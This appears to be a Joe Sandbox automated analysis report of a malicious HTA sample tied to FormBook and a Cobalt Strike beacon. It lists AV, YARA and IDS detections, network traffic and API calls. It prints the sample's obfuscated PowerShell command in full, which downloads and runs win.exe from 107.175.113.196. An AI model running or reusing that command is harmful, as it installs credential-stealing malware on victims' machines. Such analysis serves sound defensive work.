            2024-12-07T15:47:45.492685+010020197142Potentially Bad Traffic192.168.2.549706107.175.113.19680TCP

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus detection for URL or domain
            Source: http://107.175.113.196/400/win.exeAvira URL Cloud: Label: malware
            Multi AV Scanner detection for dropped file
            Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\win[1].exeReversingLabs: Detection: 58%
            Source: C:\Users\user\AppData\Roaming\winnit.exeReversingLabs: Detection: 58%
            Multi AV Scanner detection for submitted file
            Source: seemejkiss.htaReversingLabs: Detection: 15%
            Yara detected FormBook
            Source: Yara matchFile source: 7.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000007.00000002.2350161997.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2350750527.0000000003950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
            Machine Learning detection for dropped file
            Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\win[1].exeJoe Sandbox ML: detected
            Source: C:\Users\user\AppData\Roaming\winnit.exeJoe Sandbox ML: detected

            Phishing

            barindex
            Yara detected HtmlPhish44
            Source: Yara matchFile source: seemejkiss.hta, type: SAMPLE
            Source: Binary string: $]q8C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.pdb source: powershell.exe, 00000003.00000002.2180711036.00000000054E4000.00000004.00000800.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdbUGP source: winnit.exe, 00000006.00000003.2185219526.00000000037E0000.00000004.00001000.00020000.00000000.sdmp, winnit.exe, 00000006.00000003.2184427306.0000000003640000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2313705453.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2350802126.0000000003C9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2315536638.0000000003900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2350802126.0000000003B00000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: winnit.exe, 00000006.00000003.2185219526.00000000037E0000.00000004.00001000.00020000.00000000.sdmp, winnit.exe, 00000006.00000003.2184427306.0000000003640000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000007.00000003.2313705453.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2350802126.0000000003C9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2315536638.0000000003900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2350802126.0000000003B00000.00000040.00001000.00020000.00000000.sdmp
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1445A GetFileAttributesW,FindFirstFileW,FindClose,6_2_00B1445A
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1C6D1 FindFirstFileW,FindClose,6_2_00B1C6D1
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,6_2_00B1C75C
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,6_2_00B1EF95
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,6_2_00B1F0F2
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,6_2_00B1F3F3
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B137EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,6_2_00B137EF
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B13B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,6_2_00B13B12
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,6_2_00B1BCBC

            Networking

            barindex
            Suricata IDS alerts for network traffic
            Source: Network trafficSuricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 107.175.113.196:80 -> 192.168.2.5:49706
            Source: Network trafficSuricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 107.175.113.196:80 -> 192.168.2.5:49706
            Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 14:47:44 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Wed, 04 Dec 2024 08:38:39 GMTETag: "128400-6286db55d5857"Accept-Ranges: bytesContent-Length: 1213440Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 1c ad cf 72 7d c3 9c 72 7d c3 9c 72 7d c3 9c 34 2c 22 9c 70 7d c3 9c ec dd 04 9c 73 7d c3 9c 7f 2f 1c 9c 41 7d c3 9c 7f 2f 23 9c c3 7d c3 9c 7f 2f 22 9c 47 7d c3 9c 7b 05 40 9c 7b 7d c3 9c 7b 05 50 9c 57 7d c3 9c 72 7d c2 9c 52 7f c3 9c 0f 04 29 9c 22 7d c3 9c 0f 04 1c 9c 73 7d c3 9c 7f 2f 18 9c 73 7d c3 9c 72 7d 54 9c 73 7d c3 9c 0f 04 1d 9c 73 7d c3 9c 52 69 63 68 72 7d c3 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 18 15 50 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 de 08 00 00 a2 09 00 00 00 00 00 cd 7d 02 00 00 10 00 00 00 f0 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 12 00 00 04 00 00 de 42 13 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c a4 0b 00 7c 01 00 00 00 70 0c 00 88 fb 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 12 00 1c 71 00 00 c0 2b 09 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 48 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 08 00 84 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 dc 08 00 00 10 00 00 00 de 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0e e1 02 00 00 f0 08 00 00 e2 02 00 00 e2 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 8f 00 00 00 e0 0b 00 00 52 00 00 00 c4 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 fb 05 00 00 70 0c 00 00 fc 05 00 00 16 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 71 00 00 00 70 12 00 00 72 00 00 00 12 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
            Source: Joe Sandbox ViewASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
            Source: Network trafficSuricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49706 -> 107.175.113.196:80
            Source: global trafficHTTP traffic detected: GET /400/win.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 107.175.113.196Connection: Keep-Alive
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: unknownTCP traffic detected without corresponding DNS query: 107.175.113.196
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_033E7A18 URLDownloadToFileW,3_2_033E7A18
            Source: global trafficHTTP traffic detected: GET /400/win.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 107.175.113.196Connection: Keep-Alive
            Source: powershell.exe, 00000003.00000002.2180711036.00000000054E4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://107.175.113.196/400/win.e
            Source: powershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://107.175.113.196/400/win.exe
            Source: powershell.exe, 00000003.00000002.2187215317.0000000008892000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://107.175.113.196/400/win.exeV
            Source: powershell.exe, 00000003.00000002.2182576683.000000000612A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
            Source: powershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
            Source: powershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
            Source: powershell.exe, 00000003.00000002.2180711036.00000000050C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
            Source: powershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
            Source: powershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
            Source: powershell.exe, 00000003.00000002.2180711036.00000000050C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lB
            Source: powershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/winsvr-2022-pshelp
            Source: powershell.exe, 00000003.00000002.2182576683.000000000612A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
            Source: powershell.exe, 00000003.00000002.2182576683.000000000612A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
            Source: powershell.exe, 00000003.00000002.2182576683.000000000612A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
            Source: powershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
            Source: powershell.exe, 00000003.00000002.2184138928.00000000078B8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com32/WindowsPowerShell/v1.0/Modules/UEV/icrosoft.Uev.Commands.dll
            Source: powershell.exe, 00000003.00000002.2182576683.000000000612A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B24164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,6_2_00B24164
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B24164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,6_2_00B24164
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B23F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,6_2_00B23F66
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,6_2_00B1001C
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B3CABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,6_2_00B3CABC

            E-Banking Fraud

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 7.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000007.00000002.2350161997.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2350750527.0000000003950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

            System Summary

            barindex
            Detected Cobalt Strike Beacon
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"Jump to behavior
            Binary is likely a compiled AutoIt script file
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: This is a third-party compiled AutoIt script.6_2_00AB3B3A
            Source: winnit.exeString found in binary or memory: This is a third-party compiled AutoIt script.
            Source: winnit.exe, 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_472efbc9-e
            Source: winnit.exe, 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`memstr_660abace-f
            Source: win[1].exe.3.drString found in binary or memory: This is a third-party compiled AutoIt script.memstr_98d76c9e-d
            Source: win[1].exe.3.drString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`memstr_aac87086-2
            Source: winnit.exe.3.drString found in binary or memory: This is a third-party compiled AutoIt script.memstr_55dd69ee-c
            Source: winnit.exe.3.drString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`memstr_d2ce6728-d
            Powershell drops PE file
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\win[1].exeJump to dropped file
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\winnit.exeJump to dropped file
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_0042CD33 NtClose,7_2_0042CD33
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B735C0 NtCreateMutant,LdrInitializeThunk,7_2_03B735C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72B60 NtClose,LdrInitializeThunk,7_2_03B72B60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72DF0 NtQuerySystemInformation,LdrInitializeThunk,7_2_03B72DF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B74340 NtSetContextThread,7_2_03B74340
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B73090 NtSetValueKey,7_2_03B73090
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B73010 NtOpenDirectoryObject,7_2_03B73010
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B74650 NtSuspendThread,7_2_03B74650
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72BA0 NtEnumerateValueKey,7_2_03B72BA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72B80 NtQueryInformationFile,7_2_03B72B80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72BF0 NtAllocateVirtualMemory,7_2_03B72BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72BE0 NtQueryValueKey,7_2_03B72BE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72AB0 NtWaitForSingleObject,7_2_03B72AB0
